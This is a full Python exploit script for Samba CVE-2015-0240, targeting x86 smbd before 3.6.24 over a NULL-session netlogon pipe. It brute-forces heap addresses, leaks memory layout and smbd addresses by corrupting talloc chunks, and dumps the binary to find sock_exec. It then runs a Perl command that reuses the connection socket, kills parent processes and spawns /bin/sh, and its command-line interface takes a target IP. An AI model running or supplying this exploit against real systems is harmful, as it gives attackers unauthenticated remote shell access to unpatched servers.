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Exploit for Samba vulnerabilty (CVE-2015-0240)
#!/usr/bin/python
"""
Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya
The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by
ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
in libtalloc does not write a value on 'creds' address.
Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/
Note:
- heap might be changed while running exploit, need to try again (with '-hs' or '-pa' option)
if something failed
Find heap address:
- ubuntu PIE heap start range: b7700000 - b9800000
- start payload size: the bigger it is the lesser connection and binding time.
but need more time to shrink payload size
- payload is too big to fit in freed small hole. so payload is always at end
of heap
- start bruteforcing heap address from high memory address to low memory address
to prevent 'creds' pointed to real heap chunk (also no crash but not our payload)
Leak info:
- heap layout is predictable because talloc_stackframe_pool(8192) is called after
accepted connection and fork but before calling smbd_server_connection_loop_once()
- before talloc_stackframe_pool(8192) is called, there are many holes in heap
but their size are <8K. so pool is at the end of heap at this time
- many data that allocated after talloc_stackframe_pool(8192) are allocated in pool.
with the same pattern of request, the layout in pool are always the same.
- many data are not allocated in pool but fit in free holes. so no small size data are
allocated after pool.
- normally there are only few data block allocated after pool.
- pool size: 0x2048 (included glibc heap header 4 bytes)
- a table that created in giconv_open(). the size is 0x7f88 (included glibc heap header 4 bytes)
- p->in_data.pdu.data. the size is 0x10e8 (included glibc heap header 4 bytes)
- this might not be allocated here because its size might fit in freed hole
- all fragment should be same size to prevent talloc_realloc() changed pdu.data size
- so last fragment should be padded
- ndr DATA_BLOB. the size is 0x10d0 (included glibc heap header 4 bytes)
- this might not be allocated here because its size might fit in freed hole
- p->in_data.data.data. the size is our netlogon data
- for 8K payload, the size is 0x2168 (included glibc heap header 4 bytes)
- this data is allocated by realloc(), grew by each fragment. so this memory
block is not allocated by mmapped even the size is very big.
- pool layout for interested data
- r->out offset from pool (talloc header) is 0x13c0
- r->out.return_authenticator offset from pool is 0x13c0+0x18
- overwrite this (with link unlink) to leak info in ServerPasswordSet response
- smb_request offset from pool (talloc header) is 0x11a0
- smb_request.sconn offset from pool is 0x11a0+0x3c
- socket fd is at smb_request.sconn address (first struct member)
- more shared folder in configuration, more freed heap holes
- only if there is no or one shared, many data might be unexpected allocated after pool.
have to get that extra offset or bruteforce it
More exploitation detail in code (comment) ;)
"""
import sys
import time
from struct import pack,unpack
import argparse
import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import WSTR
class Requester:
"""
put all smb request stuff into class. help my editor folding them
"""
# impacket does not implement NetrServerPasswordSet
# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
class NetrServerPasswordSet(NDRCALL):
opnum = 6
structure = (
('PrimaryName',nrpc.PLOGONSRV_HANDLE),
('AccountName',WSTR),
('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
('ComputerName',WSTR),
('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
)
# response is authenticator (8 bytes) and error code (4 bytes)
# size of each field in sent packet
req_server_handle_size = 16
req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null
req_sec_type_size = 2
req_computer_size = 4 + 4 + 4 + 2
req_authenticator_size = 8 + 2 + 4
req_new_pwd_size = 16
req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size
samba_rpc_fragment_size = 4280
netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24 # 24 is dcerpc header size
def __init__(self):
self.target = None
self.dce = None
sessionKey = '\x00'*16
# prepare ServerPasswordSet request
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
authenticator['Timestamp'] = 10
uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
uasNewPass['Data'] = '\x00'*16
self.serverName = nrpc.PLOGONSRV_HANDLE()
# ReferentID field of PrimaryName controls the uninitialized value of creds
self.serverName.fields['ReferentID'] = 0
self.accountName = WSTR()
request = Requester.NetrServerPasswordSet()
request['PrimaryName'] = self.serverName
request['AccountName'] = self.accountName
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = '\x00'
request['Authenticator'] = authenticator
request['UasNewPassword'] = uasNewPass
self.request = request
def set_target(self, target):
self.target = target
def set_payload(self, s, pad_to_size=0):
if pad_to_size > 0:
s += '\x00'*(pad_to_size-len(s))
pad_size = 0
if len(s) < (16*1024+1):
ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size
if ofsize > 0:
pad_size = self.netlogon_data_fragment_size - ofsize
self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00'
self.accountName.fields['MaximumCount'] = None
self.accountName.fields['ActualCount'] = None
self.accountName.data = None # force recompute
set_accountNameData = set_payload
def get_dce(self):
if self.dce is None or self.dce.lostconn:
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target)
rpctransport.set_credentials('','') # NULL session
rpctransport.set_dport(445)
# force to 'NT LM 0.12' only
rpctransport.preferred_dialect('NT LM 0.12')
self.dce = rpctransport.get_dce_rpc()
self.dce.connect()
self.dce.bind(nrpc.MSRPC_UUID_NRPC)
self.dce.lostconn = False
return self.dce
def get_socket(self):
return self.dce.get_rpc_transport().get_socket()
def force_dce_disconnect(self):
if not (self.dce is None or self.dce.lostconn):
self.get_socket().close()
self.dce.lostconn = True
def request_addr(self, addr):
self.serverName.fields['ReferentID'] = addr
dce = self.get_dce()
try:
dce.call(self.request.opnum, self.request)
answer = dce.recv()
return unpack("<IIII", answer)
except impacket.nmb.NetBIOSError as e:
if e.args[0] != 'Error while reading from remote':
raise
dce.lostconn = True
return None
# call with no read
def call_addr(self, addr):
self.serverName.fields['ReferentID'] = addr
dce = self.get_dce()
try:
dce.call(self.request.opnum, self.request)
return True
except impacket.nmb.NetBIOSError as e:
if e.args[0] != 'Error while reading from remote':
raise
dce.lostconn = True
return False
def force_recv(self):
dce = self.get_dce()
return dce.get_rpc_transport().recv(forceRecv=True)
def request_check_valid_addr(self, addr):
answers = self.request_addr(addr)
if answers is None:
return False # connection lost
elif answers[3] != 0:
return True # error, expected
else:
raise Error('Unexpected result')
# talloc constants
TALLOC_MAGIC = 0xe8150c70 # for talloc 2.0
TALLOC_FLAG_FREE = 0x01
TALLOC_FLAG_LOOP = 0x02
TALLOC_FLAG_POOL = 0x04
TALLOC_FLAG_POOLMEM = 0x08
TALLOC_HDR_SIZE = 0x30 # for 32 bit
flag_loop = TALLOC_MAGIC | TALLOC_FLAG_LOOP # for checking valid address
# Note: do NOT reduce target_payload_size less than 8KB. 4KB is too small buffer. cannot predict address.
TARGET_PAYLOAD_SIZE = 8192
########
# request helper functions
########
# only one global requester
requester = Requester()
def force_dce_disconnect():
requester.force_dce_disconnect()
def request_addr(addr):
return requester.request_addr(addr)
def request_check_valid_addr(addr):
return requester.request_check_valid_addr(addr)
def set_payload(s, pad_to_size=0):
requester.set_payload(s, pad_to_size)
def get_socket():
return requester.get_socket()
def call_addr(addr):
return requester.call_addr(addr)
def force_recv():
return requester.force_recv()
########
# find heap address
########
# only refs MUST be NULL, other never be checked
fake_chunk_find_heap = pack("<IIIIIIII",
0, 0, 0, 0, # refs
flag_loop, flag_loop, flag_loop, flag_loop,
)
def find_valid_heap_addr(start_addr, stop_addr, payload_size, first=False):
"""
below code can be used for checking valid heap address (no crash)
if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) {
/* we have a free loop - stop looping */
return 0;
}
"""
global fake_chunk_find_heap
payload = fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap))
set_payload(payload)
addr_step = payload_size
addr = start_addr
i = 0
while addr > stop_addr:
if i == 16:
print(" [*]trying addr: {:x}".format(addr))
i = 0
if request_check_valid_addr(addr):
return addr
if first:
# first time, the last 16 bit is still do not know
# have to do extra check
if request_check_valid_addr(addr+0x10):
return addr+0x10
addr -= addr_step
i += 1
return None
def find_valid_heap_exact_addr(addr, payload_size):
global fake_chunk_find_heap
fake_size = payload_size // 2
while fake_size >= len(fake_chunk_find_heap):
payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap))
set_payload(payload, payload_size)
if not request_check_valid_addr(addr):
addr -= fake_size
fake_size = fake_size // 2
set_payload('\x00'*16 + pack("<I", flag_loop), payload_size)
# because glibc heap is align by 8
# so the last 4 bit of address must be 0x4 or 0xc
if request_check_valid_addr(addr-4):
addr -= 4
elif request_check_valid_addr(addr-0xc):
addr -= 0xc
else:
print(" [-] bad exact addr: {:x}".format(addr))
return 0
print(" [*] checking exact addr: {:x}".format(addr))
if (addr & 4) == 0:
return 0
# test the address
# must be invalid (refs is AccountName.ActualCount)
set_payload('\x00'*12 + pack("<I", flag_loop), payload_size)
if request_check_valid_addr(addr-4):
print(' [-] request_check_valid_addr(addr-4) failed')
return 0
# must be valid (refs is AccountName.Offset)
# do check again if fail. sometimes heap layout is changed
set_payload('\x00'*8 + pack("<I", flag_loop), payload_size)
if not request_check_valid_addr(addr-8) and not request_check_valid_addr(addr-8) :
print(' [-] request_check_valid_addr(addr-8) failed')
return 0
# must be invalid (refs is AccountName.MaxCount)
set_payload('\x00'*4 + pack("<I", flag_loop), payload_size)
if request_check_valid_addr(addr-0xc):
print(' [-] request_check_valid_addr(addr-0xc) failed')
return 0
# must be valid (refs is ServerHandle.ActualCount)
# do check again if fail. sometimes heap layout is changed
set_payload(pack("<I", flag_loop), payload_size)
if not request_check_valid_addr(addr-0x10) and not request_check_valid_addr(addr-0x10):
print(' [-] request_check_valid_addr(addr-0x10) failed')
return 0
return addr
def find_payload_addr(start_addr, start_payload_size, target_payload_size):
print('[*] bruteforcing heap address...')
start_addr = start_addr & 0xffff0000
heap_addr = 0
while heap_addr == 0:
# loop from max to 0xb7700000 for finding heap area
# offset 0x20000 is minimum offset from heap start to recieved data in heap
stop_addr = 0xb7700000 + 0x20000
good_addr = None
payload_size = start_payload_size
while payload_size >= target_payload_size:
force_dce_disconnect()
found_addr = None
for i in range(3):
found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None)
if found_addr is not None:
break
if found_addr is None:
# failed
good_addr = None
break
good_addr = found_addr
print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr))
start_addr = good_addr
stop_addr = good_addr - payload_size + 0x20
payload_size //= 2
if good_addr is not None:
# try 3 times to find exact address. if address cannot be found, assume
# minimizing payload size is not correct. start minimizing again
for i in range(3):
heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size)
if heap_addr != 0:
break
force_dce_disconnect()
if heap_addr == 0:
print(' [-] failed to find payload adress')
# start from last good address + some offset
start_addr = (good_addr + 0x10000) & 0xffff0000
print('[*] bruteforcing heap adress again from {:x}'.format(start_addr))
payload_addr = heap_addr - len(fake_chunk_find_heap)
print(" [+] found payload addr: {:x}".format(payload_addr))
return payload_addr
########
# leak info
########
def addr2utf_prefix(addr):
def is_badchar(v):
return (v >= 0xd8) and (v <= 0xdf)
prefix = 0 # safe
if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff):
prefix |= 2 # cannot have prefix
if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff):
prefix |= 1 # must have prefix
return prefix
def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False):
"""
Note:
- if next_addr and prev_addr are not zero, they must be writable address
because of below code in _talloc_free_internal()
if (tc->prev) tc->prev->next = tc->next;
if (tc->next) tc->next->prev = tc->prev;
"""
# Note: U+D800 to U+DFFF is reserved (also bad char for samba)
# check if '\x00' is needed to avoid utf16 badchar
prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr)
if prefix_len == 3:
return None # cannot avoid badchar
if prefix_len == 2:
prefix_len = 0
fake_chunk_leak_info = pack("<IIIIIIIIIIII",
next_addr, prev_addr, # next, prev
0, 0, # parent, children
0, 0, # refs, destructor
0, 0, # name, size
TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
0, 0, 0, # pool, pad, pad
)
payload = '\x00'*prefix_len+fake_chunk_leak_info + pack("<I", 0x80000) # pool_object_count
set_payload(payload, TARGET_PAYLOAD_SIZE)
if call_only:
return call_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
for i in range(3 if retry else 1):
try:
answers = request_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
except impacket.dcerpc.v5.rpcrt.Exception:
print("impacket.dcerpc.v5.rpcrt.Exception")
answers = None
force_dce_disconnect()
if answers is not None:
# leak info must have next or prev address
if (answers[1] == prev_addr) or (answers[0] == next_addr):
break
#print('{:x}, {:x}, {:x}, {:x}'.format(answers[0], answers[1], answers[2], answers[3]))
answers = None # no next or prev in answers => wrong answer
force_dce_disconnect() # heap is corrupted, disconnect it
return answers
def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True):
# leak by replace r->out.return_authenticator pointer
# Note: because leak_addr[4:8] will be replaced with r_out_addr
# only answers[0] and answers[2] are leaked
return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry)
def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True):
# leak by replace r->out.return_authenticator pointer
# Note: leak_addr[0:4] will be replaced with r_out_addr
# only answers[1] and answers[2] are leaked
return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry)
def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr):
# leak name field ('uint8_t') in found heap chunk
# do not retry this leak, because r_out_addr is guessed
answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False)
if answers is None:
return None
if answers[2] != TALLOC_MAGIC:
force_dce_disconnect()
return None
return answers[0]
def leak_info_find_offset(info):
# offset from pool to payload still does not know
print("[*] guessing 'r' offset and leaking 'uint8_t' address ...")
chunk_addr = info['chunk_addr']
uint8t_addr = None
r_addr = None
r_out_addr = None
while uint8t_addr is None:
# 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0
# 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0
# 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0
# 0xad40 is extra offset when no share on debian
# 0x10d38 is extra offset when only [printers] is shared on debian
for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38):
r_addr = chunk_addr - offset
# 0x18 is out.authenticator offset
r_out_addr = r_addr + 0x18
print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr))
uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr)
if uint8t_addr is not None:
print(" [*] success")
break
print(" [-] failed")
if uint8t_addr is None:
return False
info['uint8t_addr'] = uint8t_addr
info['r_addr'] = r_addr
info['r_out_addr'] = r_out_addr
info['pool_addr'] = r_addr - 0x13c0
print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr']))
print(" [+] pool addr: {:x}".format(info['pool_addr']))
return True
def leak_sock_fd(info):
# leak sock fd from
# smb_request->sconn->sock
# (offset: ->0x3c ->0x0 )
print("[*] leaking socket fd ...")
info['smb_request_addr'] = info['pool_addr']+0x11a0
print(" [*] smb request addr: {:x}".format(info['smb_request_addr']))
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4)
if answers is None:
print(' [-] cannot leak sconn_addr address :(')
return None
force_dce_disconnect() # heap is corrupted, disconnect it
sconn_addr = answers[2]
info['sconn_addr'] = sconn_addr
print(' [+] sconn addr: {:x}'.format(sconn_addr))
# write in padding of chunk, no need to disconnect
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr)
if answers is None:
print('cannot leak sock_fd address :(')
return None
sock_fd = answers[1]
print(' [+] sock fd: {:d}'.format(sock_fd))
info['sock_fd'] = sock_fd
return sock_fd
def leak_talloc_pop_addr(info):
# leak destructor talloc_pop() address
# overwrite name field, no need to disconnect
print('[*] leaking talloc_pop address')
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14)
if answers is None:
print(' [-] cannot leak talloc_pop() address :(')
return None
if answers[2] != 0x2010: # chunk size must be 0x2010
print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(')
return None
talloc_pop_addr = answers[0]
print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr))
info['talloc_pop_addr'] = talloc_pop_addr
return talloc_pop_addr
def leak_smbd_server_connection_handler_addr(info):
# leak address from
# smbd_server_connection.smb1->fde ->handler
# (offset: ->0x9c->0x14 )
# MUST NOT disconnect after getting smb1_fd_event address
print('[*] leaking smbd_server_connection_handler address')
def real_leak_conn_handler_addr(info):
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c)
if answers is None:
print(' [-] cannot leak smb1_fd_event address :(')
return None
smb1_fd_event_addr = answers[1]
print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr))
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14)
if answers is None:
print(' [-] cannot leak smbd_server_connection_handler address :(')
return None
force_dce_disconnect() # heap is corrupted, disconnect it
smbd_server_connection_handler_addr = answers[0]
diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr
if diff > 0x2000000 or diff < 0:
print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
smbd_server_connection_handler_addr = None
return smbd_server_connection_handler_addr
smbd_server_connection_handler_addr = None
while smbd_server_connection_handler_addr is None:
smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info)
print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr
return smbd_server_connection_handler_addr
def find_smbd_base_addr(info):
# estimate smbd_addr from talloc_pop
if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0:
# code has no alignment
start_addr = info['smbd_server_connection_handler_addr'] - 0x124000
else:
start_addr = info['smbd_server_connection_handler_addr'] - 0x130000
start_addr = start_addr & 0xfffff000
stop_addr = start_addr - 0x20000
print('[*] finding smbd loaded addr ...')
while True:
smbd_addr = start_addr
while smbd_addr >= stop_addr:
if addr2utf_prefix(smbd_addr-8) == 3:
# smbd_addr is 0xb?d?e000
test_addr = smbd_addr - 0x800 - 4
else:
test_addr = smbd_addr - 8
# test writable on test_addr
answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False)
if answers is not None:
break
smbd_addr -= 0x1000 # try prev page
if smbd_addr > stop_addr:
break
print(' [-] failed. try again.')
info['smbd_addr'] = smbd_addr
print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr))
def dump_mem_call_addr(info, target_addr):
# leak pipes_struct address from
# smbd_server_connection->chain_fsp->fake_file_handle->private_data
# (offset: ->0x48 ->0xd4 ->0x4 )
# Note:
# - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed
# - target_addr will be replaced with current_pdu_sent address
# check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c
print(' [*] overwrite current_pdu_sent for dumping memory ...')
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48)
if answers is None:
print(' [-] cannot leak chain_fsp address :(')
return False
chain_fsp_addr = answers[1]
print(' [*] chain_fsp addr: {:x}'.format(chain_fsp_addr))
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False)
if answers is None:
print(' [-] cannot leak fake_file_handle address :(')
return False
fake_file_handle_addr = answers[0]
print(' [*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr))
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False)
if answers is None:
print(' [-] cannot leak pipes_struct address :(')
return False
pipes_struct_addr = answers[2]
print(' [*] pipes_struct addr: {:x}'.format(pipes_struct_addr))
current_pdu_sent_addr = pipes_struct_addr+0x84
print(' [*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr))
# change pipes->out_data.current_pdu_sent to dump memory
return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True)
def dump_smbd_find_bininfo(info):
def recv_till_string(data, s):
pos = len(data)
while True:
data += force_recv()
if len(data) == pos:
print('no more data !!!')
return None
p = data.find(s, pos-len(s))
if p != -1:
return (data, p)
pos = len(data)
return None
def lookup_dynsym(dynsym, name_offset):
addr = 0
i = 0
offset_str = pack("<I", name_offset)
while i < len(dynsym):
if dynsym[i:i+4] == offset_str:
addr = unpack("<I", dynsym[i+4:i+8])[0]
break
i += 16
return addr
print('[*] dumping smbd ...')
dump_call = False
# have to minus from smbd_addr because code section is read-only
if addr2utf_prefix(info['smbd_addr']-4) == 3:
# smbd_addr is 0xb?d?e000
dump_addr = info['smbd_addr'] - 0x800 - 4
else:
dump_addr = info['smbd_addr'] - 4
for i in range(8):
if dump_mem_call_addr(info, dump_addr):
mem = force_recv()
if len(mem) == 4280:
dump_call = True
break
print(' [-] dump_mem_call_addr failed. try again')
force_dce_disconnect()
if not dump_call:
print(' [-] dump smbd failed')
return False
print(' [+] dump success. getting smbd ...')
# first time, remove any data before \7fELF
mem = mem[mem.index('\x7fELF'):]
mem, pos = recv_till_string(mem, '\x00__gmon_start__\x00')
print(' [*] found __gmon_start__ at {:x}'.format(pos+1))
pos = mem.rfind('\x00\x00', 0, pos-1)
dynstr_offset = pos+1
print(' [*] found .dynstr section at {:x}'.format(dynstr_offset))
dynstr = mem[dynstr_offset:]
mem = mem[:dynstr_offset]
# find start of .dynsym section
pos = len(mem) - 16
while pos > 0:
if mem[pos:pos+16] == '\x00'*16:
break
pos -= 16 # sym entry size is 16 bytes
if pos <= 0:
print(' [-] found wrong .dynsym section at {:x}'.format(pos))
return None
dynsym_offset = pos
print(' [*] found .dynsym section at {:x}'.format(dynsym_offset))
dynsym = mem[dynsym_offset:]
# find sock_exec
dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00')
print(' [*] found sock_exec string at {:x}'.format(pos+1))
sock_exec_offset = lookup_dynsym(dynsym, pos+1)
print(' [*] sock_exec offset {:x}'.format(sock_exec_offset))
#info['mem'] = mem # smbd data before .dynsym section
info['dynsym'] = dynsym
info['dynstr'] = dynstr # incomplete section
info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset
print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
# Note: can continuing memory dump to find ROP
force_dce_disconnect()
########
# code execution
########
def call_sock_exec(info):
prefix_len = addr2utf_prefix(info['sock_exec_addr'])
if prefix_len == 3:
return False # too bad... cannot call
if prefix_len == 2:
prefix_len = 0
fake_talloc_chunk_exec = pack("<IIIIIIIIIIII",
0, 0, # next, prev
0, 0, # parent, child
0, # refs
info['sock_exec_addr'], # destructor
0, 0, # name, size
TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
0, 0, 0, # pool, pad, pad
)
chunk = '\x00'*prefix_len+fake_talloc_chunk_exec + info['cmd'] + '\x00'
set_payload(chunk, TARGET_PAYLOAD_SIZE)
for i in range(3):
if request_check_valid_addr(info['payload_addr']+TALLOC_HDR_SIZE+prefix_len):
print('waiting for shell :)')
return True
print('something wrong :(')
return False
########
# start work
########
def check_exploitable():
if request_check_valid_addr(0x41414141):
print('[-] seems not vulnerable')
return False
if request_check_valid_addr(0):
print('[+] seems exploitable :)')
return True
print("[-] seems vulnerable but I cannot exploit")
print("[-] I can exploit only if 'creds' is controlled by 'ReferentId'")
return False
def do_work(args):
info = {}
if not (args.payload_addr or args.heap_start or args.start_payload_size):
if not check_exploitable():
return
start_size = 512*1024 # default size with 512KB
if args.payload_addr:
info['payload_addr'] = args.payload_addr
else:
heap_start = args.heap_start if args.heap_start else 0xb9800000+0x30000
if args.start_payload_size:
start_size = args.start_payload_size * 1024
if start_size < TARGET_PAYLOAD_SIZE:
start_size = 512*1024 # back to default
info['payload_addr'] = find_payload_addr(heap_start, start_size, TARGET_PAYLOAD_SIZE)
# the real talloc chunk address that stored the raw netlogon data
# serverHandle 0x10 bytes. accountName 0xc bytes
info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
print("[+] chunk addr: {:x}".format(info['chunk_addr']))
while not leak_info_find_offset(info):
# Note: do heap bruteforcing again seems to be more effective
# start from payload_addr + some offset
print("[+] bruteforcing heap again. start from {:x}".format(info['payload_addr']+0x10000))
info['payload_addr'] = find_payload_addr(info['payload_addr']+0x10000, start_size, TARGET_PAYLOAD_SIZE)
info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
print("[+] chunk addr: {:x}".format(info['chunk_addr']))
got_fd = leak_sock_fd(info)
# create shell command for reuse sock fd
cmd = "perl -e 'use POSIX qw(dup2);$)=0;$>=0;" # seteuid, setegid
cmd += "dup2({0:d},0);dup2({0:d},1);dup2({0:d},2);".format(info['sock_fd']) # dup sock
# have to kill grand-grand-parent process because sock_exec() does fork() then system()
# the smbd process still receiving data from socket
cmd += "$z=getppid;$y=`ps -o ppid= $z`;$x=`ps -o ppid= $y`;kill 15,$x,$y,$z;" # kill parents
cmd += """print "shell ready\n";exec "/bin/sh";'""" # spawn shell
info['cmd'] = cmd
# Note: cannot use system@plt because binary is PIE and chunk dtor is called in libtalloc.
# the ebx is not correct for resolving the system address
smbd_info = {
0x5dd: { 'uint8t_offset': 0x711555, 'talloc_pop': 0x41a890, 'sock_exec': 0x0044a060, 'version': '3.6.3-2ubuntu2 - 3.6.3-2ubuntu2.3'},
0xb7d: { 'uint8t_offset': 0x711b7d, 'talloc_pop': 0x41ab80, 'sock_exec': 0x0044a380, 'version': '3.6.3-2ubuntu2.9'},
0xf7d: { 'uint8t_offset': 0x710f7d, 'talloc_pop': 0x419f80, 'sock_exec': 0x00449770, 'version': '3.6.3-2ubuntu2.11'},
0xf1d: { 'uint8t_offset': 0x71ff1d, 'talloc_pop': 0x429e80, 'sock_exec': 0x004614b0, 'version': '3.6.6-6+deb7u4'},
}
leak_talloc_pop_addr(info) # to double check the bininfo
bininfo = smbd_info.get(info['uint8t_addr'] & 0xfff)
if bininfo is not None:
smbd_addr = info['uint8t_addr'] - bininfo['uint8t_offset']
if smbd_addr + bininfo['talloc_pop'] == info['talloc_pop_addr']:
# correct info
print('[+] detect smbd version: {:s}'.format(bininfo['version']))
info['smbd_addr'] = smbd_addr
info['sock_exec_addr'] = smbd_addr + bininfo['sock_exec']
print(' [*] smbd loaded addr: {:x}'.format(smbd_addr))
print(' [*] use sock_exec offset: {:x}'.format(bininfo['sock_exec']))
print(' [*] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
else:
# wrong info
bininfo = None
got_shell = False
if bininfo is None:
# no target binary info. do a hard way to find them.
"""
leak smbd_server_connection_handler for 2 purposes
- to check if compiler does code alignment
- to estimate smbd loaded address
- gcc always puts smbd_server_connection_handler() function at
beginning area of .text section
- so the difference of smbd_server_connection_handler() offset is
very low for all smbd binary (compiled by gcc)
"""
leak_smbd_server_connection_handler_addr(info)
find_smbd_base_addr(info)
dump_smbd_find_bininfo(info)
# code execution
if 'sock_exec_addr' in info and call_sock_exec(info):
s = get_socket()
print(s.recv(4096)) # wait for 'shell ready' message
s.send('uname -a\n')
print(s.recv(4096))
s.send('id\n')
print(s.recv(4096))
s.send('exit\n')
s.close()
def hex_int(x):
return int(x,16)
# command arguments
parser = argparse.ArgumentParser(description='Samba CVE-2015-0240 exploit')
parser.add_argument('target', help='target IP address')
parser.add_argument('-hs', '--heap_start', type=hex_int,
help='heap address in hex to start bruteforcing')
parser.add_argument('-pa', '--payload_addr', type=hex_int,
help='exact payload (accountName) address in heap. If this is defined, no heap bruteforcing')
parser.add_argument('-sps', '--start_payload_size', type=int,
help='start payload size for bruteforcing heap address in KB. (128, 256, 512, ...)')
args = parser.parse_args()
requester.set_target(args.target)
try:
do_work(args)
except KeyboardInterrupt:
pass
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